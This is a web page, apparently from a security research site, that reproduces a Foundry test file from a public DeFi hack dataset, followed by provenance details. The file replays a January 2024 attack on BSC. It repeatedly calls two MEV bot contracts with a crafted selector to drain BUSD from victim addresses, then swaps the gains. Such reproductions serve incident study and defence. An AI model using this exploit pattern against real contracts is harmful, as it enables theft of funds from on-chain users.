Public reproduction file

src/test/2024-01/Shell_MEV_0xa898_exp.sol

Public reproduction file for dataset entry Shell_MEV_0xa898.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/Shell_MEV_0xa898_exp.sol68 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~1000 $BUSD
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0xd66a43d0a3e853b98d14268e240cf973e3fa986e
7// Vulnerable Contract : https://bscscan.com/address/0xa898b78b7cbbabacf9d179c4c46c212c0ac66f46
8// Attack Tx : https://bscscan.com/tx/0x24f114c0ef65d39e0988d164e052ce8052fe4a4fd303399a8c1bb855e8da01e9
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13contract ContractTest is Test {
14    event TokenBalance(string key, uint256 val);
15 
16    IERC20 SHELL = IERC20(0x5Df670150Be23c7BCF764E57F24D46BA88dCa621);
17    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
18    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
19    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
20    address Victim1 = 0x100006d330F46e8f60359aFE62C29714e5D8438C;
21    address Victim2 = 0xf5339777FE60a597316ad0B9Ed8A2b0444cF8317;
22 
23    address Robot1 = 0xa898b78B7cbBabacf9d179C4C46c212c0aC66F46;
24    address Robot2 = 0x923AA7C73909b21CF0854904dF2fA2394087f818;
25 
26    function setUp() public {
27        vm.createSelectFork("bsc", 35_273_751 - 1);
28        vm.label(address(Victim1), "Victim1");
29        vm.label(address(Victim2), "Victim2");
30        vm.label(address(Robot1), "Robot1");
31        vm.label(address(Robot2), "Robot2");
32    }
33 
34    function testExploit() public {
35        BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
36        emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
37        SHELL.approve(address(Router), type(uint256).max);
38        while (BUSD.balanceOf(Victim1) > 10 * 1e18) {
39            Robot1.call(
40                abi.encodeWithSelector(
41                    bytes4(0x5f90d725), Victim2, Victim1, address(this), BUSD.balanceOf(address(Victim1)), 100, 360
42                )
43            );
44        }
45        while (BUSD.balanceOf(Victim2) > 10 * 1e18) {
46            Robot2.call(
47                abi.encodeWithSelector(
48                    bytes4(0x5f90d725), Victim2, Victim2, address(this), BUSD.balanceOf(address(Victim2)), 100, 360
49                )
50            );
51        }
52 
53        TOKENTOBUSD();
54        emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
55    }
56 
57    function TOKENTOBUSD() internal {
58        address[] memory path = new address[](2);
59        path[0] = address(SHELL);
60        path[1] = address(BUSD);
61        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
62            SHELL.balanceOf(address(this)), 0, path, address(this), block.timestamp
63        );
64    }
65 
66    fallback() external payable {}
67    receive() external payable {}
68}

Analysis

Dataset entry

Public Foundry test for “Shell_MEV_0xa898” (2024-01-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
src/test/2024-01/NBLGAME_exp.solSame month in the dataset · 160 lines
src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
Attack Contract
0xd66a43d0a3e853b98d14268e240cf973e3fa986e
Vulnerable Contract
0xa898b78b7cbbabacf9d179c4c46c212c0ac66f46

Attack Tx
0x24f114c0ef65d39e0988d164e052ce8052fe4a4fd303399a8c1bb855e8da01e9

File record

Name: Shell_MEV_0xa898
Path: src/test/2024-01/Shell_MEV_0xa898_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 603aa8112195880b87f61f64f28e638c58dd723b
Language: Solidity
Size: 69 lines
Date: 2024-01-15
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-01/Shell_MEV_0xa898_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 603aa8112195880b87f61f64f28e638c58dd723b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.